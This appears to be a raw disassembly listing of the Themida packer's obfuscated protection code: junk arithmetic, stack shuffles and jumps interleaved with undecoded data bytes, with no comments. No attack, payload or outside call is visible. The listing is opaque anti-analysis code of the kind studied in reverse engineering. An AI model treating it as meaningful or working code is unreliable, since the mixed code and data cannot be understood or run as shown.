		mov	dh, 7Ah
		mov	ah, 0Bh
		sub	ah, 0BCh
		add	ah, dh
		add	ah, 0BCh
		pop	edx
		add	ah, 7
		xor	bh, ah
		jmp	loc_56EB3A
; ---------------------------------------------------------------------------
		dw 489h
		dd 7D03B824h, 43E95391h, 66FFFFD9h, 0DBF2E953h,	0D6F70000h
		dd 0E781F787h, 608C723Dh, 0CF81D7F7h, 6E5C5A8Dh, 29CBF781h
		dd 0BB5337C3h, 674C5FDFh, 2850E381h, 0E3C10880h, 9FEB8104h
		dd 8160E53Bh, 0E4EA98F3h, 5BDF2931h, 0BDE9FA29h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568BE3:				; CODE XREF: Themida_:00572126j
		mov	ebp, 39A7F4BCh
		jmp	loc_568F31
; ---------------------------------------------------------------------------
		db 33h,	14h, 24h
		dd 8480E9h
		db 0
; ---------------------------------------------------------------------------


loc_568BF5:				; CODE XREF: Themida_:005755AAj
		push	3F05h
		mov	[esp], eax
		jmp	loc_568597
; ---------------------------------------------------------------------------


loc_568C02:				; CODE XREF: Themida_:0056718Ej
		pop	ebx
		shr	edx, 5
		jmp	loc_568D17
; ---------------------------------------------------------------------------
		db 28h
		dd 148B66D7h, 1D39E924h, 0C890000h, 0BE565324h,	304C531Ah
		dd 0F65191BBh, 5EF33139h, 0D61728B9h, 68C1813Bh, 0E97DED11h
		dd 5BA9h, 50585950h, 0CA502568h, 0DF2D586Dh, 89112E8Bh
		dd 0C1F8E9C5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_568C4E:				; CODE XREF: Themida_:0056E6AEj
		add	ebp, 3B2C2FA7h
		shr	ebp, 7
		not	ebp
		sub	ebp, 7E9DA37Ch
		jmp	loc_563F05
; ---------------------------------------------------------------------------
		dd 0FFFFFF68h, 24048BFFh, 2904C483h, 0C7E958C7h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568C77:				; CODE XREF: Themida_:00565952j
		sub	edi, 60C2531Ah
		push	ecx
		mov	ecx, edi
		mov	esi, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_562ACC
; ---------------------------------------------------------------------------


loc_568C91:				; CODE XREF: Themida_:00561367j
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_576381
; ---------------------------------------------------------------------------
		db 81h
		dd 0AE444CEFh, 0BB53580Bh, 3ED03175h, 1D38E381h, 81431B77h
		dd 0BEB293EBh, 5BDF29BFh, 592AE9h, 240C3100h, 8B240C33h
		dd 0E9F62424h, 0CCB60F66h, 916866h, 240C8966h, 0C8B60F66h
		dd 0E99C5166h, 0FFFF835Eh, 4C5DBB53h, 0B9515551h, 0B23437Ch
		dd 0E906E9C1h, 35Ah
; ---------------------------------------------------------------------------


loc_568CF8:				; CODE XREF: Themida_:00575CC3j
		mov	ebx, [esp]
		jmp	loc_565596
; ---------------------------------------------------------------------------
aI4Hm		db '\‰4$hŒ~',0
		dd 4EC3E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_568D0E:				; CODE XREF: Themida_:005665F1j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_563BC0
; ---------------------------------------------------------------------------


loc_568D17:				; CODE XREF: Themida_:00568C06j
		push	ebp
		mov	ebp, 460603B8h
		add	edx, ebp
		pop	ebp
		push	edx
		jmp	loc_56114E
; ---------------------------------------------------------------------------
aT_h		db 'T_h',8,'~',0
		dd 241C8900h, 0E51D56BBh, 0AEC38176h, 1891AE2h,	5C7AE9DFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_568D42:				; CODE XREF: Themida_:0056248Aj
		pop	esp
		sub	[edi+24h], ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4


loc_568D4D:				; CODE XREF: Themida_:00575D00j
		push	ebp
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		jmp	loc_5766CB
; ---------------------------------------------------------------------------


loc_568D5A:				; CODE XREF: Themida_:00576581j
		sub	esi, edx
		jmp	loc_568FDB
; ---------------------------------------------------------------------------


loc_568D61:				; CODE XREF: Themida_:0056AEF0j
		sub	[esp], eax
		jmp	loc_574C4E
; ---------------------------------------------------------------------------
		db 59h,	53h, 0BBh
		dd 6EB7EC6h, 44E7E381h,	0F3811A18h, 1CBB164Ah, 4B08E3C1h
		dd 0C0E9D3F7h, 5100003Eh, 4BD55h, 0E9890000h, 168FE9h
		db 0
; ---------------------------------------------------------------------------


loc_568D95:				; CODE XREF: Themida_:00565BDEj
		pop	ecx
		push	edi
		sub	dword ptr [esp], 3664897h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_571A59
; ---------------------------------------------------------------------------
		dd 2C1668h, 240C8900h, 0EE68E189h, 8900005Bh, 1868242Ch
		dd 89000047h, 62E92404h, 6600007Bh, 1FE9C331h, 560000ABh
		dd 4BEh, 5EF32900h, 5C241C87h, 0BB241C89h, 2, 515BD901h
		dd 42474FFh, 83240C8Bh,	0FE904C4h
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_568DFB:				; CODE XREF: Themida_:00575A0Bj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_574689
; ---------------------------------------------------------------------------
a_bsYSt		db '_é]',1Bh,'Y-éâ',0Bh,0
		align 4
		dd 0E906EBC1h, 0FFFFD300h
; ---------------------------------------------------------------------------


loc_568E24:				; CODE XREF: Themida_:005671AFj
		pop	edx
		jmp	loc_572DD9
; ---------------------------------------------------------------------------
		dw 0C329h
		dd 1B93EB81h, 315804A8h, 0EB015BDDh, 52242C8Bh,	0C281E289h
		dd 4, 4C281h, 14870000h, 0C3815C24h, 2,	31241C33h, 1C33241Ch
		dd 0F3E95C24h, 58000058h, 51A968h, 24048900h, 24048B54h
		dd 4C481h, 0EC830000h, 243C8904h, 93E5E950h, 3C8BFFFFh
		dd 15F6E924h, 0E9500000h, 556h,	8159CF09h, 0A8B08FF7h
		dd 8BFE015Eh, 0C481243Ch, 4, 5296BF57h,	0B9510952h, 0
		dd 0CD0EE9h, 7E28100h, 5332081Ah, 1172CEBBh, 0E2EB8177h
		dd 17D0B22h, 0C1815BDAh, 7A861E20h, 0E957D101h,	0DADBh
		dd 4C481h, 0C1810000h, 4, 8B240C87h, 53E92424h,	5FFFF81h
		dd 4, 22Dh, 24043300h, 33240431h, 8FE92404h, 8100009Bh
		dd 7502D1C5h, 7EDC13Eh,	0FFF37CE9h, 24048FFFh, 2414895Ch
		dd 0FF8121E9h, 4C483FFh, 0D051E9h, 3EC78000h, 8E43E9h
		db 0
; ---------------------------------------------------------------------------


loc_568F31:				; CODE XREF: Themida_:00568BE8j
		push	edi
		mov	edi, 4C51328Eh
		sub	edi, 3AF06148h
		dec	edi
		or	edi, 0F895953h
		add	edi, 200F74F3h
		shl	edi, 7
		add	edi, 5D2DD6Eh
		jmp	loc_571C8C
; ---------------------------------------------------------------------------
		dd 4BB53h, 7BE90000h, 0B3000081h, 80DBF6DAh, 0F380A3E3h
		dd 6AF38005h, 41F380h, 0BF5CE9DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_568F7A:				; CODE XREF: Themida_:00562C35j
		push	59B1h
		jmp	loc_5664FD
; ---------------------------------------------------------------------------


loc_568F84:				; CODE XREF: Themida_:0056206Dj
		mov	ecx, 71F14037h
		jmp	loc_5627CE
; ---------------------------------------------------------------------------
		dw 8CBAh
		dd 516BAF46h, 0CB02E9h,	24248900h, 4240483h, 3DA2E9h, 0FB76800h
		dd 4890000h, 7E9B6824h,	31583FFFh, 72E958C1h, 6600003Bh
		dd 7FE9028Fh, 58FFFF80h, 34D6BF57h, 0FB297A9Bh,	240C8B5Fh
		dd 4C481h, 21E90000h
		db 0B8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_568FDB:				; CODE XREF: Themida_:00568D5Cj
		pop	edx
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_568949
; ---------------------------------------------------------------------------
		dd 1C46EA81h, 0B68C8C5h, 89000012h, 0E9502434h,	8DA0h
		dd 0E9D7015Dh, 0FFFFD03Fh, 697BBF57h, 0B951619Fh, 5221101h
		dd 2A61E181h, 0E9C15527h, 0CEBCE907h, 0E3890000h, 0AFC0E9h
		dd 806DB400h, 0B5515EE4h, 1C580B1h, 74ED80h, 0EC8059ECh
		dd 673FE9FFh, 0BF5E0000h, 282D6274h, 815EF731h,	9F1D78EFh
		dd 7A71E901h, 0C9810000h, 53E4291Bh, 0F181D1F7h, 0E50505CFh
		dd 7EF6E9h
		db 0
; ---------------------------------------------------------------------------


loc_569065:				; CODE XREF: Themida_:00568149j
		mov	eax, 4
		jmp	loc_5769C7
; ---------------------------------------------------------------------------
		db 1
aSo		db 'ÖéOÎ',0
		align 2
		dw 0D7F6h
		dd 0F8885066h, 0C5E9D0F6h, 28FFFFB2h, 0C892E9F7h, 50560000h
		dd 0AC94E9h, 85ABA00h, 0E953064Bh, 0D0D1h, 240C8B66h, 4EC81h
		dd 66E90000h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5690AB:				; CODE XREF: Themida_:005716D5j
		add	[esp+4], edx
		pop	edx
		pop	ebp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_57338F
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 77h
		dd 81352862h, 4F586AC1h, 0BB53585Bh, 4,	5D74C181h, 0D9013434h
		dd 4EC81h, 34890000h, 476EE924h, 895C0000h, 0C6E9241Ch
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5690F3:				; CODE XREF: Themida_:00564EE6j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_563F6C
; ---------------------------------------------------------------------------


loc_5690FE:				; CODE XREF: Themida_:00575F0Aj
		push	24AEh
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_563ECD
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 6BBE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56912A:				; CODE XREF: Themida_:00563C94j
		mov	ebx, esp
		jmp	loc_5648EC
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0C0h
		dd 0E912B75Bh, 4F2Eh
; ---------------------------------------------------------------------------


loc_56913C:				; CODE XREF: Themida_:00563AA8j
		add	ebp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_562CF2
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48324h, 1EAE9h, 4EC8100h, 89000000h, 0EDB82404h, 0F728A610h
		dd 53E2E9D0h, 4D680000h, 89000002h, 0C9B82404h,	2902B179h
		dd 0C0A3E9C1h, 34FFFFFFh, 0C4835A24h, 2434FF04h, 4C4815Fh
		dd 50000000h, 0AEE9C889h, 5FFFFFB5h, 32ACE9h, 35C38100h
		dd 52559636h, 1677AEBAh, 0DFF28118h, 8157B042h,	0A223EAC2h
		dd 5AD3090Ah, 8108EBC1h, 0C568BDC3h, 16EB811Bh,	11C2432h
		dd 14335BDAh, 24143124h, 0FFC7D2E9h, 3FE981FFh,	1F1B2BDh
		dd 5412E9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5691EE:				; CODE XREF: Themida_:0057248Dj
		sub	edx, 71A81Eh
		jmp	loc_563067
; ---------------------------------------------------------------------------
aZSQ		db 'Z(Ãé¸q',0
		dd 8BF32900h, 0C4832434h, 81D30104h, 564498C3h,	24148B2Fh
		dd 4C481h, 0BF570000h, 2, 344AC381h, 27E95D80h,	81FFFF9Ah
		dd 1201D7C2h, 81C22902h, 1201D7EAh, 9AE95802h, 0B8FFFFAAh
		dd 4, 41E9C189h, 51FFFF94h, 0D1CCE9h, 78EA2D00h, 0F050F88h
		dd 5D206227h, 2B53BF57h, 0E7C1625Fh, 815DE908h,	0E189FFFFh
		dd 4C181h, 0C1830000h, 2C9FE904h, 0F2010000h, 3711C281h
		dd 348B6DD5h, 4C48124h,	33000000h, 1BE92414h
		db 71h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_569293:				; CODE XREF: Themida_:005743F4j
		pop	edx
		push	ecx
		mov	ecx, 52CAAFA5h
		sub	edx, ecx
		pop	ecx
		push	edx
		add	dword ptr [esp], 7A9C2D94h
		pop	edi
		jmp	loc_56774C
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0BA5208E8h, 1C4C670Ch, 37EEE9h, 4C28100h, 0E9000000h
		dd 0FFFF88A5h, 4EC8152h, 89000000h, 7AB42404h, 48BE688h
		dd 4C48124h, 0B7000000h, 8BF730B7h, 0AE92414h, 800000C4h
		dd 49E901EEh, 89000007h, 468243Ch, 5F000000h, 51D76852h
		dd 7DE90000h, 0C10000A1h, 0C38106EBh, 0C4827DCh, 0BB2DBE56h
		dd 0F329E2BFh, 5BD9295Eh, 5624F181h, 0E98174C0h, 44B8A3E8h
		dd 0E959CF01h, 21B5h, 0EA2927BDh, 0E9EE2900h, 0FFFFC8D7h
; ---------------------------------------------------------------------------


loc_569338:				; CODE XREF: Themida_:0056FC3Cj
		inc	esi
		not	esi
		add	esi, 780771A3h
		mov	ebp, esi
		pop	esi
		sub	esi, ebp
		jmp	loc_56234A
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 24548A00h, 245C8802h, 0E95B6602h, 1E20h, 0B9240C89h
		dd 5D7E0C84h, 81BDE9h, 3FC38100h, 2923AE29h, 3FEB81D3h
		dd 5A23AE29h, 0FFA990E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569381:				; CODE XREF: Themida_:00566613j
		mov	[esp], edx
		mov	dh, bh
		mov	cl, dh
		pop	edx
		mov	[edi+38h], cl
		pop	ecx
		pop	ebx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5628D8
; ---------------------------------------------------------------------------
aSi_1		db '^éë;',0
		align 10h
		dd 4BAh, 5AD52900h, 8B242C87h, 14892424h, 0F6D7B624h, 0B15150D6h
		dd 59C888E5h, 6214E9h, 51D0F700h, 0CBB4D1B9h, 59C829C2h
		dd 6AF6E9h, 81D9F700h, 4ECh, 243C8900h,	0B36D3BBFh, 28D9E96Eh
		dd 74B80000h, 0C106BD42h, 0AC2D08E8h, 29E2B46Bh, 24048BC3h
		dd 4C481h, 0EB810000h, 3BAB4D81h, 0D6CE9h, 24048B00h, 0E904C483h
		dd 0FFFFF28Bh, 5D1BBB53h, 0D90968EDh, 80E1815Bh, 0F72B9A44h
		dd 85C181D1h, 812B8A44h, 974515EBh, 81CB015Fh, 974515C3h
		dd 6C68595Fh, 89000066h, 0F8E92434h, 81000035h,	4ECh, 242C8900h
		dd 1F568h, 44B26800h, 0EC830000h, 24248904h, 4240483h
		dd 8324048Fh, 0E9042404h, 0CF4Dh, 5FFD015Dh, 339968h, 0B09DE900h
		dd 5B58FFFFh, 0F0E95053h, 9000027h, 0F3815AD3h,	1588BE0Fh
		dd 0C15BDD31h, 35E904E5h, 100009Fh, 0FA015DEAh,	56FAEA81h
		dd 815F4369h, 4ECh, 0C5AAE900h,	0C89FFFFh, 4CC3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5694BA:				; CODE XREF: Themida_:0056969Fj
		pop	ecx
		dec	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 788A0AE5h
		sub	ebx, 14C204F4h
		sub	ecx, ebx
		jmp	loc_5657C3
; ---------------------------------------------------------------------------
		db 0B1h
		dd 59CC0886h, 0F5B05053h, 2870E951h, 5AD0000h, 76165F44h
		dd 2EA9BA52h, 0EA813A0Dh, 255F48F0h, 54BBF281h,	0BF57236Ah
		dd 2BE62FD8h, 2414F757h, 81243C8Bh, 4C4h, 0C1D7F700h, 0EFC107EFh
		dd 9FEF8108h, 0E9165D06h, 8098h, 0E93BB353h, 0FFFF9C1Ah
		dd 0A0C4E95Ah, 4330000h, 0B06EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56953A:				; CODE XREF: Themida_:0056526Aj
		shl	edx, 6
		and	edx, 30850148h
		shl	edx, 5
		sub	edx, 108007FCh
		add	ebp, edx
		pop	edx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	bh, ah
		mov	dl, bh
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_561933
; ---------------------------------------------------------------------------


loc_56956E:				; CODE XREF: Themida_:00563707j
		sub	eax, 2E741DAFh
		add	eax, edx
		sub	esp, 4
		jmp	loc_56C2AF
; ---------------------------------------------------------------------------
		db 5Bh,	56h, 0FFh
		dd 8B042474h, 0C4812434h, 4, 8B24048Fh,	3C892424h, 876BF24h
		dd 0E78119B6h, 254C7F0Bh, 8FE9DFF7h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5695A7:				; CODE XREF: Themida_:00561A8Bj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		shr	eax, 10h
		xor	eax, ecx
		jmp	loc_571BC9
; ---------------------------------------------------------------------------
		dd 0F500CFB5h, 6DED805Ah, 0C580C5FEh, 28802CEAh, 0B55166E8h
		dd 4C8CE980h, 0F8280000h, 4EC81h, 14890000h, 0FE76B624h
		dd 493E68C6h, 0C890000h, 9BB45024h, 88C5F480h, 0A32AE9E1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569606:				; CODE XREF: Themida_:00564533j
		push	4D654627h
		jmp	loc_5766D3
; ---------------------------------------------------------------------------
		dd 5C241C33h, 0AC02E9h,	0E9F68100h, 296E0567h, 5A895EF3h
		dd 241C8B30h, 0FFCE74E9h, 89F681FFh, 0E94DA5EAh, 0FFFFEA10h
		dd 8758C301h, 248B241Ch, 0A0C38124h, 10AAD40h, 0A0EB81C3h
		dd 520AAD40h, 0D77DB0BAh, 5AD32935h, 0E3E9008Fh, 0B9FFFF79h
		dd 4, 34FFCE01h, 0C4815924h, 4,	80ACE9h
		db 0
; ---------------------------------------------------------------------------


loc_569675:				; CODE XREF: Themida_:00572686j
		not	esi
		inc	esi
		xor	esi, 2AA458FAh
		add	esi, 7CA3680Fh
		sub	ebx, esi
		pop	esi
		jmp	loc_5717D8
; ---------------------------------------------------------------------------


loc_56968C:				; CODE XREF: Themida_:005669C8j
		xor	edi, 6142C160h
		add	edx, edi
		jmp	loc_569805
; ---------------------------------------------------------------------------


loc_569699:				; CODE XREF: Themida_:00569C70j
		push	ecx
		push	7B5F5C94h
		jmp	loc_5694BA
; ---------------------------------------------------------------------------
		dd 4C381h, 1C870000h, 5230E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5696B2:				; CODE XREF: Themida_:0056E8DDj
		mov	[esp], edx
		push	1065h
		jmp	loc_56351F
; ---------------------------------------------------------------------------
aAiraiHie	db '€ë€ëÄh©E',0
		align 2
		dw 0C89h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_566D0A
; ---------------------------------------------------------------------------
		db 0E9h, 60h, 79h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5696E2:				; CODE XREF: Themida_:0056ED47j
		push	4348h
		mov	[esp], esi
		push	ebx
		jmp	loc_562D7C
; ---------------------------------------------------------------------------
		dd 0B5240C89h, 0ABEE80B2h, 0C680EE00h, 300459ABh, 302CF028h
		dd 9340E9h, 4EC8100h, 89000000h, 1E9240Ch, 0FF00005Ah
		dd 0FF042474h, 348B2434h, 4C48324h, 0E904C483h,	3C90h
		dd 240C8B66h, 120F68h, 241C8900h, 16E368h, 48F5400h, 4EC8324h
		dd 0FFFBA6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569749:				; CODE XREF: Themida_:0056FFD2j
		add	ebx, esi
		jmp	loc_562989
; ---------------------------------------------------------------------------


loc_569750:				; CODE XREF: Themida_:005677F6j
		pop	esi
		jmp	loc_5673DD
; ---------------------------------------------------------------------------
		dw 5F66h
		dd 0FFF66EE9h, 240489FFh, 802BDBB8h, 17306859h,	0F8E90000h
		dd 810000AAh, 4C4h, 5EF30100h, 9D12E9h,	87EB8100h, 0E9348075h
		dd 0FFFFED1Ah, 5C240C87h, 1FF768h, 243C8900h, 0E52F0D68h
		dd 2434FF6Ah, 4C4835Fh,	0E952DFF7h, 0FFFFF7E6h,	0E9242C33h
		dd 0BA5Bh, 0E9240C8Bh, 0A923h, 0C8BCB01h, 4C48124h, 51000000h
		dd 366118B9h, 0BCC98126h, 41024977h, 0E903E1C1h, 5251h
		dd 0E0616866h, 240C8B66h, 1EA6E9h, 4EC8100h, 89000000h
		dd 0E589242Ch, 4853E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5697F6:				; CODE XREF: Themida_:0057097Cj
		shr	eax, 3
		add	eax, 0E88EBA9Fh
		sub	ebx, eax
		jmp	loc_562DA4
; ---------------------------------------------------------------------------


loc_569805:				; CODE XREF: Themida_:00569694j
		mov	edi, [esp]
		add	esp, 4
		and	eax, edx
		push	dword ptr [esp]
		jmp	loc_56A6E3
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F5Ah,	0C3E5E9h, 5BD80100h, 205h, 10E95000h
		dd 80FFFFC2h, 9FE959EBh
		db 7Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56983B:				; CODE XREF: Themida_:005765B1j
		mov	eax, edi
		pop	edi
		shl	eax, 2
		push	ebx
		mov	ebx, 3D3C6A61h
		sub	eax, ebx
		pop	ebx
		or	eax, 196A2B36h
		inc	eax
		xor	eax, 0E2D1D81Dh
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 37D72628h
		jmp	loc_575D67
; ---------------------------------------------------------------------------


loc_569868:				; CODE XREF: Themida_:0056C8DCj
		xor	edx, 1BB1E01h
		sub	eax, edx
		pop	edx
		jmp	loc_56E770
; ---------------------------------------------------------------------------


loc_569876:				; CODE XREF: Themida_:0056B3B1j
		mov	esi, 75F8470Ch
		sub	ebx, esi
		pop	esi
		sub	ebx, edx
		push	5793h
		mov	[esp], eax
		mov	eax, 75F8470Ch
		jmp	loc_5642BA
; ---------------------------------------------------------------------------


loc_569892:				; CODE XREF: Themida_:005660BAj
		sub	ebx, 6C9A7924h
		add	ebx, esi
		add	ebx, 6C9A7924h
		add	ebx, 91F3E76h
		mov	esi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		jmp	loc_563F2F
; ---------------------------------------------------------------------------


loc_5698B7:				; CODE XREF: Themida_:0056B3E9j
		push	esi
		mov	esi, 1ED1254Ah
		or	esi, 1F445575h
		and	esi, 3C347F5h
		shl	esi, 8
		and	esi, 45E10671h
		jmp	loc_566A55
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24048900h, 0C89BE953h,	3C68FFFFh, 0E9000026h
		dd 0FFFFE566h, 0A5E9DFF7h, 50000056h, 710475B8h, 58C68905h
		dd 0B0ADE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569906:				; CODE XREF: Themida_:0056DE6Aj
		add	esp, 4
		jmp	loc_56D391
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 242C8B54h, 0FFCC8BE9h, 24048BFFh, 8304C483h,	0C5E901C0h
		dd 0FF0000B6h, 0B9E92434h, 89000062h, 81B5240Ch, 0F659E888h
		dd 2CED04D0h, 29E951B7h, 2C000081h, 4F8007Ah, 7735E97Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569952:				; CODE XREF: Themida_:0056740Bj
		push	22101B66h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		and	ecx, 7DA71021h
		push	ebp
		mov	ebp, 23FA279Ch
		jmp	loc_564373
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835E24h, 0ABD5504h, 83491355h, 0E5C101C5h, 51ED8107h
		dd 813CD92Bh, 4343D0F5h, 0FBF58143h, 0E90F9219h, 7ABFh
		dd 4EA81h, 14870000h, 0F0D7E924h, 8F66FFFFh, 8FE98704h
		dd 8BFFFF76h, 0C481241Ch, 4, 80E6F180h,	0C9FE45C1h, 0E980C1FEh
		dd 59CE88F0h, 0E6C0D6F6h, 4EB75302h, 1C8BFE20h,	4C48324h
		dd 71E9C6FEh, 81000047h, 12404h, 148B0000h, 4C48124h, 81000000h
		dd 916220EAh, 23F6E902h, 0F1010000h, 0FF7885E9h, 0C68159FFh
		dd 72BC642Fh, 0EE81C601h, 72BC642Fh, 8324048Bh,	685304C4h
		dd 4295288Fh, 81241C8Bh, 4C4h, 75C38100h, 1BD6AD7h, 0E9565BDEh
		dd 0FFFF8DDEh, 5144CE80h, 0C180DFB1h, 59CE0063h, 0FFF63AE9h
		dd 5FF889FFh, 207368h, 240C8900h, 82E9C189h, 1FFFFDCh
		dd 0B9515DEBh, 0E173767h, 8B59CB01h, 0C4832404h, 14716804h
		dd 23E90000h
		db 96h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569A77:				; CODE XREF: Themida_:0056548Ej
		push	37AF7453h
		pop	ebp
		or	ebp, 1BE873EEh
		push	edi
		mov	edi, 34261640h
		push	ebp
		mov	ebp, 7D4360EAh
		inc	ebp
		and	ebp, 0A622FD5h
		inc	ebp
		add	ebp, 22BE2428h
		shl	ebp, 6
		sub	ebp, 7FCF173Ch
		sub	edi, ebp
		pop	ebp
		shr	edi, 6
		xor	edi, 0D2B2734Eh
		jmp	loc_5732F5
; ---------------------------------------------------------------------------


loc_569AB7:				; CODE XREF: Themida_:0056DE31j
		shr	ebx, 6
		jmp	loc_574E10
; ---------------------------------------------------------------------------
		db 5Eh
		dd 68240C8Bh, 4C13h, 89242C89h,	4B951E5h, 1000000h, 685059CDh
		dd 4, 58C50158h, 2474FF55h, 48F5D04h, 24248B24h, 4EC81h
		dd 1C890000h, 4BB24h, 0D9010000h, 2C1835Bh, 0E9240C33h
		dd 0FFFFF1B9h, 33241C31h, 248B241Ch, 243CD324h,	7528E99Ch
		dd 77FFFFFFh, 7520E940h, 1C33FFFFh, 88645C24h, 0A688E902h
		dd 3C29FFFFh, 0CF815F24h, 6A7A7D11h, 0FDB9EF81h, 0C381FE7Ah
		dd 340B41FCh, 0BA52FB01h, 340B41FCh, 21FBA52h, 0D32932A5h
		dd 81D3295Ah, 0A5021FC3h, 815F5A32h, 2C3h, 241C3300h, 0E9241C31h
		dd 0FFFFFFB2h, 81FFC583h, 0B5725EC5h, 0C1DDF730h, 895306E5h
		dd 4C381E3h, 81000000h,	4EBh, 241C8700h, 2434895Ch, 0FFB6A7E9h
		dd 0D0F75FFFh, 39C33540h, 89350B64h, 0E962EE6Bh, 1DC1h
		dd 10F6EB81h, 348B689Ch, 4C48124h, 0E9000000h, 0FFFF7482h
; ---------------------------------------------------------------------------


loc_569BC0:				; CODE XREF: Themida_:00566088j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_56E7C8
; ---------------------------------------------------------------------------
		dw 8951h
		dd 4C181E1h, 83000000h,	0C8704E9h, 9A23E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569BE2:				; CODE XREF: Themida_:00575EAAj
		pop	ebx
		and	ecx, ebp
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_56F777
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 0ADh
		dd 0C14CF55Ch, 0F9E905E5h, 290000C3h
		db 0F0h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_56202E
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 88h
		dd 89000002h, 78EBE9E1h, 0E95CFFFFh, 8B67h
; ---------------------------------------------------------------------------


loc_569C30:				; CODE XREF: Themida_:0056F82Cj
		or	eax, 147A44A0h
		push	esi
		jmp	loc_564F54
; ---------------------------------------------------------------------------
		db 66h
		dd 66CCB60Fh, 6620D068h, 0E9240C89h, 0FFFF79C3h
; ---------------------------------------------------------------------------


loc_569C4C:				; CODE XREF: Themida_:00568400j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	207h
		mov	[esp], ebx
		jmp	loc_569699
; ---------------------------------------------------------------------------
		align 2
		dw 80CFh
		dd 8059B0C7h, 0D7F601EFh, 2EC8152h, 0E9000000h,	0FFFFEDE8h
		dd 0C530162Ch, 8324048Bh, 0EA3004C4h, 2DB2E9h
		db 0
; ---------------------------------------------------------------------------


loc_569C9D:				; CODE XREF: Themida_:005755B2j
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, 3DC5000Bh
		neg	eax
		xor	eax, 14AF56C9h
		sub	eax, 0D4F64E16h
		shl	eax, 5
		or	eax, 0DC07B57h
		push	2B09h
		mov	[esp], eax
		dec	dword ptr [esp]
		jmp	loc_5667A9
; ---------------------------------------------------------------------------


loc_569CD0:				; CODE XREF: Themida_:0056B17Bj
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		and	ecx, esi
		mov	esi, [esp]
		jmp	loc_566E46
; ---------------------------------------------------------------------------
		dw 0E94Fh
		dd 1A20h
